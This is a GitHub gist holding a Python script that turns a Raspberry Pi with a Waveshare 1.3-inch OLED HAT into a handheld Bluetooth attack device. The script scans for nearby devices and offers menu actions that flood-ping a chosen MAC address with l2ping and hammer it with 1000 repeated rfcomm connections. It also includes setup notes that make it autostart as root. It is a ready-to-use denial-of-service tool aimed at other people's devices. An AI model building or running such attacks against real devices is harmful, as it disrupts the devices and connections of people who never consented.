Skip to content

Instantly share code, notes, and snippets.

@vitouXY
Created September 20, 2025 02:32
Show Gist options
  • Select an option

  • Save vitouXY/d5c11885775890a9a49d05a6b07d3643 to your computer and use it in GitHub Desktop.

Select an option

Save vitouXY/d5c11885775890a9a49d05a6b07d3643 to your computer and use it in GitHub Desktop.
Bluetooth Attack | 1.3" OLED Display HAT for Raspberry Pi by Waveshare (SH1106)
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# https://www.waveshare.com/wiki/1.3inch_OLED_HAT
"""
# # python -m venv btattack
# # source /root/btattack/bin/activate
# # pip install --upgrade luma.oled
# # pip install --upgrade rpi-lgpio
# # pip install --upgrade spidev
# # nano /boot/firmware/config.txt
dtparam=spi=on
# # systemctl status rc-local.service
# # nano /etc/rc.local
#!/bin/bash
cd /root/ && . /root/btattack/bin/activate && /root/btattack/bin/python /root/btattack.py &
exit
# # chmod +x /etc/rc.local
"""
import os, time
from luma.core.interface.serial import spi
from luma.oled.device import sh1106
from luma.core.render import canvas
from PIL import ImageFont
import RPi.GPIO as GPIO
# --- Configuración pantalla ---
RST_PIN, DC_PIN = 25, 24
serial = spi(device=0, port=0, gpio_RST=RST_PIN, gpio_DC=DC_PIN)
device = sh1106(serial, rotate=2)
#FONT = ImageFont.load_default()
# # https://github.com/rm-hull/luma.examples/blob/main/examples/fonts/FreePixel.ttf
FONT = ImageFont.truetype("FreePixel.ttf", 9)
# --- Botones ---
key = {'up':6, 'down':19, 'press':13}
GPIO.setmode(GPIO.BCM)
for k in key.values():
GPIO.setup(k, GPIO.IN, pull_up_down=GPIO.PUD_UP)
# --- Variables ---
menu_state = "main" # main, devices, actions
devices = [] # lista de MACs
selected = 0 # índice seleccionado
current_device = None
scroll_offset = 0
# calcular altura real de la fuente
bbox = FONT.getbbox("A")
font_height = bbox[3] - bbox[1]
# --- Funciones ---
def scan_bluetooth():
global devices
devs = {} # dict {mac: name}
# --- Método 1: bluetoothctl ---
result1 = os.popen("bluetoothctl --timeout 5 scan on").read()
for l in result1.splitlines():
if "Device" in l:
parts = l.split("Device")
mac_name = parts[1].strip().split(" ", 1)
if len(mac_name) >= 1:
mac = mac_name[0]
name = mac_name[1] if len(mac_name) > 1 else ""
if len(mac.split(":")) == 6: # validación de MAC
devs[mac] = name
# --- Método 2: hcitool ---
result2 = os.popen("hcitool -i hci0 scan").read()
for l in result2.splitlines():
if ":" in l:
parts = l.strip().split("\t")
mac = parts[0].strip()
name = parts[1].strip() if len(parts) > 1 else ""
if len(mac.split(":")) == 6:
if mac not in devs or not devs[mac]: # si bluetoothctl no dio nombre
devs[mac] = name
# Convertir a lista de tuplas [(mac, name)]
devices = sorted([(m, n) for m, n in devs.items()])
def draw_menu(title, options, sel):
with canvas(device) as draw:
draw.text((0,0), title, font=FONT, fill=255)
for i, opt in enumerate(options):
prefix = ">" if i==sel else " "
draw.text((0, 12+i*10), f"{prefix}{opt}", font=FONT, fill=255)
def run_action(action, mac):
with canvas(device) as draw:
draw.text((0,20), f"{action} {mac}", font=FONT, fill=255)
if action == "l2ping 600":
os.system(f"l2ping -i hci0 -s 600 -f {mac}")
elif action == "l2ping 1":
os.system(f"l2ping -c 1 -s 1 -f {mac}")
elif action == "rfcomm attack":
os.system(f"for (( i=1; i<=1000; i++ ));do rfcomm connect {mac} 1 ;sleep 0.2;done")
# --- Main loop ---
while True:
if menu_state == "main":
#opts = ["Escanear Bluetooth", "Salir"]
opts = ["Escanear Bluetooth"]
draw_menu("Menu Principal", opts, selected)
if GPIO.input(key['up'])==0:
selected = (selected-1)%len(opts); time.sleep(0.2)
if GPIO.input(key['down'])==0:
selected = (selected+1)%len(opts); time.sleep(0.2)
if GPIO.input(key['press'])==0:
if opts[selected]=="Escanear Bluetooth":
scan_bluetooth()
selected=0
menu_state="devices"
elif opts[selected]=="Salir":
break
time.sleep(0.2)
elif menu_state == "devices":
# opciones con nombre
opts = [f"{mac} ({name})" if name else mac for mac, name in devices] + ["< Atras"]
# --- Scroll ---
#max_visible = 5 # máximo de líneas que caben en la pantalla
max_visible = ( device.height // font_height ) - 4
print(max_visible)
if selected < scroll_offset:
scroll_offset = selected
elif selected >= scroll_offset + max_visible:
scroll_offset = selected - max_visible + 1
visible_opts = opts[scroll_offset:scroll_offset+max_visible]
draw_menu("Dispositivos", visible_opts, selected - scroll_offset)
# --- Botones ---
if GPIO.input(key['up'])==0:
selected = (selected-1)%len(opts); time.sleep(0.2)
if GPIO.input(key['down'])==0:
selected = (selected+1)%len(opts); time.sleep(0.2)
if GPIO.input(key['press'])==0:
if opts[selected]=="< Atras":
selected=0
scroll_offset=0
menu_state="main"
else:
current_device = devices[selected][0] # solo la MAC
selected=0
scroll_offset=0
menu_state="actions"
time.sleep(0.2)
elif menu_state == "actions":
opts = ["l2ping 600","l2ping 1","rfcomm attack","< Atras"]
draw_menu("Acciones", opts, selected)
if GPIO.input(key['up'])==0:
selected = (selected-1)%len(opts); time.sleep(0.2)
if GPIO.input(key['down'])==0:
selected = (selected+1)%len(opts); time.sleep(0.2)
if GPIO.input(key['press'])==0:
if opts[selected]=="< Atras":
selected=0
menu_state="devices"
else:
run_action(opts[selected], current_device)
time.sleep(0.2)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment